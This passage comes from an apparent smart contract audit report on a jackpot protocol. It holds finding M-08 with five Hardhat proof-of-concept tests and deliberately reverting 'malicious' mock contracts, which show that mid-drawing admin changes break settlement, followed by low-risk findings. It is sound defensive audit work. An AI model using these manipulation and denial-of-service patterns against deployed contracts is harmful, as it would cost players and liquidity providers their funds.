return 0;
}
function initializeDrawingLP(uint256 _drawingId, uint256 _initialLPValue) external override {
states[_drawingId].lpPoolTotal = _initialLPValue;
}
function setLPPoolCap(uint256, uint256) external override {
// no-op
}
function initializeLP() external override {
// no-op
}
function getDrawingAccumulator(uint256 _drawingId) external view override returns (uint256) {
return states[_drawingId].lpPoolTotal == 0 ? 0 : 1e18;
}
function getLPDrawingState(uint256 _drawingId) external view override returns (LPDrawingState memory) {
InternalLPState memory s = states[_drawingId];
return LPDrawingState({ lpPoolTotal: s.lpPoolTotal, pendingDeposits: s.pendingDeposits, pendingWithdrawals: s.pendingWithdrawals });
}
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "../interfaces/IPayoutCalculator.sol";
/**
* @notice Simple mock payout calculator used for PoC testing.
* It returns drawing winnings equal to prizePool * multiplier (PRECISE_UNIT scale).
*/
contract MockPayoutCalculator is IPayoutCalculator {
uint256 public multiplier; // PRECISE_UNIT scale
mapping(uint256 => uint256) public drawingWinnings;
constructor(uint256 _multiplier) {
multiplier = _multiplier;
}
function setMultiplier(uint256 _multiplier) external {
multiplier = _multiplier;
}
function setDrawingTierInfo(uint256 /* _drawingId */) external pure override {
// No-op for mock
}
function calculateAndStoreDrawingUserWinnings(
uint256 _drawingId,
uint256 _prizePool,
uint8 /* _ballMax */,
uint8 /* _bonusballMax */,
uint256[] memory /* _result */,
uint256[] memory /* _dupResult */
) external override returns (uint256) {
// Multiply prizePool by multiplier (1e18 scale)
uint256 w = (_prizePool * multiplier) / 1e18;
drawingWinnings[_drawingId] = w;
return w;
}
function getTierPayout(uint256 _drawingId, uint256 /* _tierId */) external view override returns (uint256) {
// For simplicity, split total evenly across 12 tiers
uint256 total = drawingWinnings[_drawingId];
return total / 12;
}
}
[M-08] Changing Payout Calculator During Active Drawing Causes Loss of Unclaimed Winnings
Submitted by Alex_Cipher, also found by 0xMilenov, AnantaDeva, BengalCatBalu, dan__vinci, edoscoba, ht111111, InvarianteX, IzuMan, l3gb, mightyraj2605, overseer, pepoc, PureVessel, rfa, rokinot, saraswati, SavantChat, stakog, TOSHI, touristS, valarislife, zcai, and Ziusz
This submission is a duplicate of S-365 created at the judge’s request in order to appropriately allocate credit to wardens who reported partially similar issues.
Expand for detailed Proof of Concept
Proof of Concept
TESTS
🧪 PoC 1 — Setting LPManager Affects Settlement (JackpotLPManager)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin/malicious LPManager affects settlement (JackpotLPManager)", function () {
it("Case A: normal LP manager succeeds; Case B: malicious LP manager causes revert on settlement", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
deploymentParams,
deployer,
} = jackpotSystem as any;
// Initialize contracts (original system)
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
// Snapshot right before callback
const snapshot = await takeSnapshot();
const beforeId = Number((await jackpot.currentDrawingId()).toString());
// Case A: Normal LP manager runs callback successfully
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterIdA = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdA).to.equal(beforeId + 1);
// Revert to snapshot
await snapshot.restore();
// Case B: Deploy malicious LP manager and create a fresh jackpot that uses it
const MaliciousLP = await ethers.getContractFactory("MaliciousLPManagerMock");
const maliciousLP = await MaliciousLP.connect(owner.wallet).deploy();
// Deploy a new Jackpot with the same params but using the malicious LP manager
const newJackpot = await deployer.deployJackpot(
deploymentParams.drawingDurationInSeconds,
deploymentParams.normalBallMax,
deploymentParams.bonusballMin,
deploymentParams.lpEdgeTarget,
deploymentParams.reserveRatio,
deploymentParams.referralFee,
deploymentParams.referralWinShare,
deploymentParams.protocolFee,
deploymentParams.protocolFeeThreshold,
deploymentParams.ticketPrice,
deploymentParams.maxReferrers,
deploymentParams.entropyBaseGasLimit
);
const newJackpotNFT = await deployer.deployJackpotTicketNFT(await newJackpot.getAddress());
const newPayoutCalculator = await deployer.deployGuaranteedMinimumPayoutCalculator(
await newJackpot.getAddress(),
deploymentParams.minimumPayout,
deploymentParams.premiumTierMinAllocation,
deploymentParams.minPayoutTiers,
deploymentParams.premiumTierWeights
);
const newEntropyProvider = await deployer.deployScaledEntropyProviderMock(
deploymentParams.entropyFee,
await newJackpot.getAddress(),
newJackpot.interface.getFunction("scaledEntropyCallback").selector
);
// Initialize the new jackpot with malicious LP manager
await newJackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await maliciousLP.getAddress(),
await newJackpotNFT.getAddress(),
await newEntropyProvider.getAddress(),
await newPayoutCalculator.getAddress()
);
// Prepare LP deposit for new jackpot
await newJackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await newJackpot.getAddress(), usdc(100000));
await newJackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize new jackpot
const now2 = (await ethers.provider.getBlock("latest"))!.timestamp;
await newJackpot.connect(owner.wallet).initializeJackpot(now2 + 1);
await time.increase(3);
// Buyer purchases tickets on the new jackpot
await usdcMock.connect(buyerOne.wallet).approve(await newJackpot.getAddress(), usdc(1000));
await newJackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness for new jackpot
const fee2 = await newJackpot.getEntropyCallbackFee();
await newJackpot.connect(buyerOne.wallet).runJackpot({ value: fee2 });
// Attempt to callback via the new entropy provider which should trigger the malicious LP manager revert
await expect(newEntropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
"Malicious LP Manager"
);
// Confirm new jackpot did not progress
const afterIdB = Number((await newJackpot.currentDrawingId()).toString());
expect(afterIdB).to.equal(beforeId);
});
});
🧪 PoC 2 — Admin Alters Entropy Provider Mid-Draw (EntropyProvider Manipulation)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect settlement (entropy provider)", function () {
it("Case A: normal provider works; Case B: malicious provider causes DOS / revert", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 3; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
// Snapshot right before callback
const snapshot = await takeSnapshot();
const beforeId = Number((await jackpot.currentDrawingId()).toString());
// Case A: Normal provider runs callback successfully
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterIdA = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdA).to.equal(beforeId + 1);
// Revert to snapshot
await snapshot.restore();
// Case B: deploy malicious provider and set it as the entropy provider
const Malicious = await ethers.getContractFactory("MaliciousEntropyProviderMock");
const malicious = await Malicious.connect(owner.wallet).deploy(ether(0.00001));
const maliciousAddr = await malicious.getAddress();
await jackpot.connect(owner.wallet).setEntropy(maliciousAddr);
// Attempt to invoke callback via malicious provider - expect revert (DOS)
await expect(malicious.connect(owner.wallet).randomnessCallback(randomNumbers)).to.be.revertedWith(
"Malicious provider: refusing to callback"
);
// Confirm drawing did not progress
const afterIdB = Number((await jackpot.currentDrawingId()).toString());
expect(afterIdB).to.equal(beforeId);
});
});
🧪 PoC 3 — Admin Modifies Protocol Fee During Active Draw (Protocol Fee Exploit)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect settlement (protocolFee)", function () {
it("changing protocolFee before callback changes protocol fee extracted at settlement", async function () {
// Deploy full fixture
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
deploymentParams,
deployer,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Initialize LP deposits (set a large cap)
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(1000000));
// LP deposit so that LP accounting is non-zero
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot (set initial drawing time to now)
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
// Move time forward so drawing is due
await time.increase(3);
// Buyer purchases multiple tickets to create sufficient lpEarnings > protocolFeeThreshold
const tickets = [] as any[];
for (let i = 0; i < 10; i++) {
tickets.push({ normals: [1n, 2n, 3n, 4n, 5n], bonusball: 1n });
}
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], ZERO_BYTES32);
// Request randomness (runJackpot) and fund with provider fee
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
// Prepare deterministic randomness: two arrays (5 normals, 1 bonusball) that don't match purchased tickets
const randomNumbers = [
[10, 11, 12, 13, 14],
[6]
];
const protocolFeeAddress = await jackpot.protocolFeeAddress();
// Ensure Case A uses a protocolFee of 0.01 (explicit) then snapshot the chain state right before callback
const originalFee = ether(0.01);
await jackpot.connect(owner.wallet).setProtocolFee(originalFee);
const snapshot = await takeSnapshot();
// Case A: use the current protocolFee (as deployed)
const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterA = await usdcMock.balanceOf(protocolFeeAddress);
const collectedA = afterA - beforeA;
// Revert to snapshot (before callback)
await snapshot.restore();
// Case B: change protocolFee to a different value mid-drawing, then callback
const higherFee = ether(0.02); // 2%
await jackpot.connect(owner.wallet).setProtocolFee(higherFee);
const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterB = await usdcMock.balanceOf(protocolFeeAddress);
const collectedB = afterB - beforeB;
// Assert that collected protocol fees differ when protocolFee changed mid-drawing
expect(collectedA).to.not.equal(collectedB);
// If higherFee > original, the later collected amount should be >= earlier (sanity)
expect(collectedB >= collectedA).to.be.true;
});
});
🧪 PoC 4 — Admin Changes Payout Calculator (Winnings Distortion)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
describe("PoC: admin changes mid-drawing affect settlement (payoutCalculator)", function () {
it("swapping payoutCalculator before callback changes drawing user winnings and protocol fee", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
buyerOne,
lpOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Prepare LP deposit so prize pool can be initialized
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
// Initialize jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
await time.increase(3);
// Buyer purchases tickets
const tickets = [] as any[];
for (let i = 0; i < 5; i++) tickets.push({ normals: [1n,2n,3n,4n,5n], bonusball: 1n });
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, [], [], "0x0000000000000000000000000000000000000000000000000000000000000000");
// Request randomness (runJackpot)
const fee = await jackpot.getEntropyCallbackFee();
await jackpot.connect(buyerOne.wallet).runJackpot({ value: fee });
const randomNumbers = [ [10,11,12,13,14], [6] ];
const protocolFeeAddress = await jackpot.protocolFeeAddress();
// Snapshot right before callback
const snapshot = await takeSnapshot();
// Case A: use original payoutCalculator
const beforeA = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterA = await usdcMock.balanceOf(protocolFeeAddress);
const collectedA = afterA - beforeA;
// Revert to snapshot
await snapshot.restore();
// Case B
// Deploy a mock payout calculator that returns slightly larger user winnings (multiplier > 1e18 but modest)
const Mock = await ethers.getContractFactory("MockPayoutCalculator");
// multiplier 1.1x = 1.1e18 (use integer math)
const mult = (ether(1) * 11n) / 10n;
const mock = await Mock.connect(owner.wallet).deploy(mult);
const mockAddr = await mock.getAddress();
// Swap payout calculator (admin action) before callback
await jackpot.connect(owner.wallet).setPayoutCalculator(mockAddr);
const beforeB = await usdcMock.balanceOf(protocolFeeAddress);
await entropyProvider.connect(owner.wallet).randomnessCallback(randomNumbers);
const afterB = await usdcMock.balanceOf(protocolFeeAddress);
const collectedB = afterB - beforeB;
// Swapping to a different payout calculator should change the protocol fee collected at settlement
expect(collectedA).to.not.equal(collectedB);
});
});
🧪 PoC 5 — Admin Modifies Referral Fee (Refund Manipulation)
import { expect } from "chai";
import { ethers } from "hardhat";
import { time, takeSnapshot } from "@nomicfoundation/hardhat-toolbox/network-helpers";
import { deployJackpotSystem } from "@utils/test/jackpotFixture";
import { usdc, ether } from "@utils/common";
import { ZERO_BYTES32 } from "@utils/constants";
describe("PoC: admin changes mid-drawing affect refunds (referralFee)", function () {
it("changing referralFee before emergency refund changes refund amount", async function () {
const jackpotSystem = await deployJackpotSystem();
const {
owner,
lpOne,
buyerOne,
referrerOne,
jackpot,
jackpotLPManager,
jackpotNFT,
payoutCalculator,
usdcMock,
entropyProvider,
} = jackpotSystem as any;
// Initialize contracts (use addresses from the fixture)
await jackpot.connect(owner.wallet).initialize(
await usdcMock.getAddress(),
await jackpotLPManager.getAddress(),
await jackpotNFT.getAddress(),
await entropyProvider.getAddress(),
await payoutCalculator.getAddress()
);
// Ensure LP deposits and first drawing are set up (reuse the same sequence as other PoCs)
await jackpot.connect(owner.wallet).initializeLPDeposits(usdc(100000));
// LP deposit so that LP accounting is non-zero
await usdcMock.connect(lpOne.wallet).approve(await jackpot.getAddress(), usdc(100000));
await jackpot.connect(lpOne.wallet).lpDeposit(usdc(10000));
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(1000));
// Give buyerOne a small amount and initialize the jackpot
const latestBlock = await ethers.provider.getBlock("latest");
const now = latestBlock!.timestamp;
await jackpot.connect(owner.wallet).initializeJackpot(now + 1);
// Move time forward so drawing is due
await time.increase(3);
// Buy a single ticket with a referral scheme (referrerOne gets 100%)
const tickets = [{ normals: [1n,2n,3n,4n,5n], bonusball: 1n }];
const referrers = [referrerOne.address];
const referralSplit = [ether(1)]; // 100% to single referrer
// Approve and buy
await usdcMock.connect(buyerOne.wallet).approve(await jackpot.getAddress(), usdc(10));
await jackpot.connect(buyerOne.wallet).buyTickets(tickets, buyerOne.address, referrers, referralSplit, ZERO_BYTES32);
// Identify the minted ticket id via the NFT helper
const drawingId = Number((await jackpot.currentDrawingId()).toString());
const userTickets = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
expect(userTickets.length).to.be.greaterThan(0);
const ticketId = userTickets[0].ticketId;
// Snapshot the chain right before emergency/refund
const snapshot = await takeSnapshot();
// Case A: set referralFee to original (e.g., 6.5%) then enable emergency and refund
const originalReferralFee = ether(0.065);
await jackpot.connect(owner.wallet).setReferralFee(originalReferralFee);
// Enable emergency mode and perform refund
await jackpot.connect(owner.wallet).enableEmergencyMode();
const beforeA = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketId]);
const afterA = await usdcMock.balanceOf(buyerOne.address);
const refundedA = afterA - beforeA;
// Revert to snapshot (ticket and balances restored)
await snapshot.restore();
// Case B: increase referralFee (10%) before refund, then enable emergency and refund
const higherReferralFee = ether(0.1);
await jackpot.connect(owner.wallet).setReferralFee(higherReferralFee);
await jackpot.connect(owner.wallet).enableEmergencyMode();
const userTicketsB = await jackpotNFT.getUserTickets(buyerOne.address, drawingId);
const ticketIdB = userTicketsB[0].ticketId;
const beforeB = await usdcMock.balanceOf(buyerOne.address);
await jackpot.connect(buyerOne.wallet).emergencyRefundTickets([ticketIdB]);
const afterB = await usdcMock.balanceOf(buyerOne.address);
const refundedB = afterB - beforeB;
// The refund uses `ticketPrice * (1 - referralFee)` when a referral scheme exists.
// Therefore increasing referralFee should *decrease* the refund amount.
expect(refundedA).to.not.equal(refundedB);
expect(refundedA > refundedB).to.be.true;
});
});
Mocks
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IScaledEntropyProvider } from "../interfaces/IScaledEntropyProvider.sol";
/**
* @notice Malicious entropy provider used for PoC testing.
* Its `randomnessCallback` intentionally reverts to simulate a DOS or faulty provider.
*/
contract MaliciousEntropyProviderMock is IScaledEntropyProvider {
uint256 public fee;
constructor(uint256 _fee) {
fee = _fee;
}
function requestAndCallbackScaledRandomness(
uint32,
IScaledEntropyProvider.SetRequest[] memory,
bytes4,
bytes memory
) external payable returns (uint64 requestId) {
// Record request but do nothing special; return id
requestId = uint64(1);
}
function randomnessCallback(uint256[][] memory) external {
revert("Malicious provider: refusing to callback");
}
function getFee(uint32) external view returns (uint256) {
return fee;
}
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import { IJackpotLPManager } from "../interfaces/IJackpotLPManager.sol";
contract MaliciousLPManagerMock is IJackpotLPManager {
// Use an internal struct name to avoid conflicting with the interface's LPDrawingState
struct InternalLPState {
uint256 lpPoolTotal;
uint256 pendingDeposits;
uint256 pendingWithdrawals;
}
mapping(uint256 => InternalLPState) internal states;
function processDeposit(uint256 _drawingId, address /* _lpAddress */, uint256 _amount) external override {
// Track pending deposits so Jackpot.initializeJackpot can proceed
states[_drawingId].pendingDeposits += _amount;
states[_drawingId].lpPoolTotal += _amount;
}
function processInitiateWithdraw(uint256, address, uint256) external override {
// no-op
}
function processFinalizeWithdraw(uint256, address) external pure override returns (uint256 withdrawableAmount) {
return 0;
}
function processDrawingSettlement(
uint256 _drawingId,
uint256 /* _lpEarnings */,
uint256 /* _userWinnings */,
uint256 /* _protocolFeeAmount */
) external override returns (uint256, uint256) {
// Allow the initial settlement called during initializeJackpot (drawing 0) to succeed
// but become malicious for real drawings (drawingId > 0)
if (_drawingId == 0) {
uint256 newLPValue = states[_drawingId].lpPoolTotal;
return (newLPValue, 1e18);
}
revert("Malicious LP Manager");
}
function emergencyWithdrawLP(uint256, address) external pure override returns (uint256 withdrawableAmount) {
return 0;
}
function initializeDrawingLP(uint256 _drawingId, uint256 _initialLPValue) external override {
states[_drawingId].lpPoolTotal = _initialLPValue;
}
function setLPPoolCap(uint256, uint256) external override {
// no-op
}
function initializeLP() external override {
// no-op
}
function getDrawingAccumulator(uint256 _drawingId) external view override returns (uint256) {
return states[_drawingId].lpPoolTotal == 0 ? 0 : 1e18;
}
function getLPDrawingState(uint256 _drawingId) external view override returns (LPDrawingState memory) {
InternalLPState memory s = states[_drawingId];
return LPDrawingState({ lpPoolTotal: s.lpPoolTotal, pendingDeposits: s.pendingDeposits, pendingWithdrawals: s.pendingWithdrawals });
}
}
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.28;
import "../interfaces/IPayoutCalculator.sol";
/**
* @notice Simple mock payout calculator used for PoC testing.
* It returns drawing winnings equal to prizePool * multiplier (PRECISE_UNIT scale).
*/
contract MockPayoutCalculator is IPayoutCalculator {
uint256 public multiplier; // PRECISE_UNIT scale
mapping(uint256 => uint256) public drawingWinnings;
constructor(uint256 _multiplier) {
multiplier = _multiplier;
}
function setMultiplier(uint256 _multiplier) external {
multiplier = _multiplier;
}
function setDrawingTierInfo(uint256 /* _drawingId */) external pure override {
// No-op for mock
}
function calculateAndStoreDrawingUserWinnings(
uint256 _drawingId,
uint256 _prizePool,
uint8 /* _ballMax */,
uint8 /* _bonusballMax */,
uint256[] memory /* _result */,
uint256[] memory /* _dupResult */
) external override returns (uint256) {
// Multiply prizePool by multiplier (1e18 scale)
uint256 w = (_prizePool * multiplier) / 1e18;
drawingWinnings[_drawingId] = w;
return w;
}
function getTierPayout(uint256 _drawingId, uint256 /* _tierId */) external view override returns (uint256) {
// For simplicity, split total evenly across 12 tiers
uint256 total = drawingWinnings[_drawingId];
return total / 12;
}
}
Low Risk and Non-Critical Issues
For this audit, 65 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by Kris_RenZo received the top score from the judge.
The following wardens also submitted reports: 0xauditagent, 0xhacksmithh, 0xIconart, 0xki, 0xMilenov, 0xnightswatch, 0xnija, 0xsai, 0xscater, 0xterrah, 0xvictorsr, aestheticbhai, Agontuk, Ahmerdrarerh, Alan_Clan_67, AlexCzm, avoloder, BengalCatBalu, Brene, caglankaan, codexNature, cosin3, Dest1ny_rs, dmdg321, Dulgiq, Eniwealth, Eurovickk, galer_ah, gkrastenov, Glitchunter, home1344, jerry0422, johnyfwesh, K42, kind0dev, KineticsOfWeb3, kmkm, lioblaze, lscnnn, metaBug, montecristo, niffylord, pepoc, PolarizedLight, raigoza, redfox, rfa, rokinot, Sathish9098, shieldrey, slvDev, SOPROBRO, Sparrow, spectator, spidy730, sudais_b, TOSHI, v12, valarislife, winnerz, Wojack, Wsecure, X-Tray03, and yeahChibyke.
[L-01] LP Earnings Addition Can Cause LP Pool to Exceed Maximum Capacity
lpPoolCap can be broken by LP earnings. If LP deposits is at its max, and no winners were found in the current draw, the lpPoolCap will be broken when the Lp earnings from ticket sales are added to postDrawLpValue in processDrawingSettlement during settlement.
uint256 postDrawLpValue = currentLP.lpPoolTotal + _lpEarnings - _userWinnings - _protocolFeeAmount;
// ...
Impact
This vulnerability breaks the core invariant lpPoolTotal <= lpPoolCap, allowing the LP pool to exceed its defined capacity and bypass established risk controls. This puts the protocol in an inconsistent state—new deposits are blocked, but the pool remains over capacity until withdrawals bring it back within limits.
Note: This is a different issue from the one (“Inconsistent cap validation allows LP pool to exceed maximum capacity”) discussed in Zellic’s report. Zellic’s issue is about not factoring pending deposit in when setting lpPoolCap in
JackpotLPManager::setLPPoolCap, while this is cap break cause by LP earnings.
Recommendation
Consider adding a buffer to the deposit cap validation that considers the maximum of average revenue generated from tiucket sales.
[L-02] Pool Cap Check Restricts Future Round Deposits Leading to Diminished Prize Pools
In processDeposit, the cap check uses lpPoolTotal + pendingDeposits:
uint256 totalPoolValue = lpDrawingState[_drawingId].lpPoolTotal + lpDrawingState[_drawingId].pendingDeposits;
if (_amount + totalPoolValue > lpPoolCap) revert JackpotErrors.ExceedsPoolCap();
However, only lpPoolTotal is used for the current drawing’s prize pool. pendingDeposits are added to the next drawing’s pool via processDrawingSettlement:
newLPValue = postDrawLpValue + currentLP.pendingDeposits - withdrawalsInUSDC;
When lpPoolTotal is large (near lpPoolCap), little room remains for pendingDeposits to accumulate. This limits deposits intended for the next round, even though they don’t affect the current round’s prize pool.
Impact Details
If the current lpPoolTotal is large and the current prize pool is won, the next round’s prize pool can be small because pendingDeposits couldn’t accumulate. This creates a disincentive for players and limits protocol revenue. The cap check conflates current and future pool values, unnecessarily restricting deposits for the next round.
Recommendations
Consider implementing a minimum threshold that can always be reached in pendingDeposits irrespective of the current lpPoolTotal.
[L-03] Missing Validation for Normal and Bonus Ball Sum Exceeding Bit Vector Capacity Causes Incorrect LP Pool Cap Calculation
In _calculateLpPoolCap, the maximum allowable tickets calculation assumes the bit vector can represent all possible ticket combinations:
function _calculateLpPoolCap(uint256 _normalBallMax) internal view returns (uint256) {
// We use MAX_BIT_VECTOR_SIZE because that's the max number that can be packed in a uint256 bit vector
uint256 maxAllowableTickets = Combinations.choose(_normalBallMax, NORMAL_BALL_COUNT) * (MAX_BIT_VECTOR_SIZE - _normalBallMax);
Tickets are packed using bit vectors where normal balls occupy positions 1 to normalBallMax, and the bonusball is stored at position normalBallMax + bonusball. Since MAX_BIT_VECTOR_SIZE = 255, the maximum usable bit position is 255.
However, there is no validation ensuring that normalBallMax + bonusballMax does not exceed 255. The bonusballMax is dynamically calculated during drawing initialization:
uint256 combosPerBonusball = Combinations.choose(normalBallMax, NORMAL_BALL_COUNT);
uint256 minNumberTickets = newPrizePool * PRECISE_UNIT / ((PRECISE_UNIT - lpEdgeTarget) * ticketPrice);
uint8 newBonusball = uint8(Math.max(bonusballMin, Math.ceilDiv(minNumberTickets, combosPerBonusball)));
newDrawingState.bonusballMax = newBonusball;
If normalBallMax + bonusballMax > 255, the bit vector representation becomes invalid, and the maxAllowableTickets calculation in _calculateLpPoolCap will be incorrect, leading to a lower lpPoolCap than intended.
Impact Details
When normalBallMax + bonusballMax exceeds 255, the system cannot correctly pack tickets into bit vectors, causing incorrect maxAllowableTickets calculations. This results in an artificially lower lpPoolCap than the target, potentially restricting LP deposits and reducing protocol capacity.
Recommendations
Add boundary validation to enforce that normalBallMax + bonusballMax never exceeds 255. Implement checks in two places:
- In
setNormalBallMax(): Validate that the newnormalBallMaxplus the maximum possiblebonusballMax(or a reasonable estimate) does not exceed 255. - In
_setNewDrawingState(): After calculatingnewBonusball, validate thatnormalBallMax + newBonusball <= 255. If it exceeds the limit, either revert or capbonusballMaxat255 - normalBallMaxand adjust the prize pool calculation accordingly.
[L-04] Missing Validation for Normal Ball Max Range Causes Critical Function Failures Due to Combination Library Limits and Underflow
The normalBallMax parameter can be set to values that break critical functions. The Combinations::choose function has an artificial limit:
assert(n >= k);
assert(n <= 128); // Artificial limit to avoid overflow
Setting normalBallMax above 128 causes Combinations.choose(normalBallMax, NORMAL_BALL_COUNT) to revert with a panic. This affects:
-
_calculateLpPoolCap()- called duringsetNormalBallMax():uint256 maxAllowableTickets = Combinations.choose(_normalBallMax, NORMAL_BALL_COUNT) * (MAX_BIT_VECTOR_SIZE - _normalBallMax); -
_setNewDrawingState()- called byinitializeJackpot():uint256 combosPerBonusball = Combinations.choose(normalBallMax, NORMAL_BALL_COUNT);
Additionally, setting normalBallMax below NORMAL_BALL_COUNT (5) causes an underflow in _calculateTierTotalWinningCombos():
return Combinations.choose(NORMAL_BALL_COUNT, _matches) * Combinations.choose(_normalMax - NORMAL_BALL_COUNT, NORMAL_BALL_COUNT - _matches);
The calculation _normalMax - NORMAL_BALL_COUNT underflows when normalBallMax < 5, breaking drawing settlement.
Currently, normalBallMax is only constrained by the uint8 type (1-255) in the constructor and setNormalBallMax(), with no validation for the effective range of 5-128.
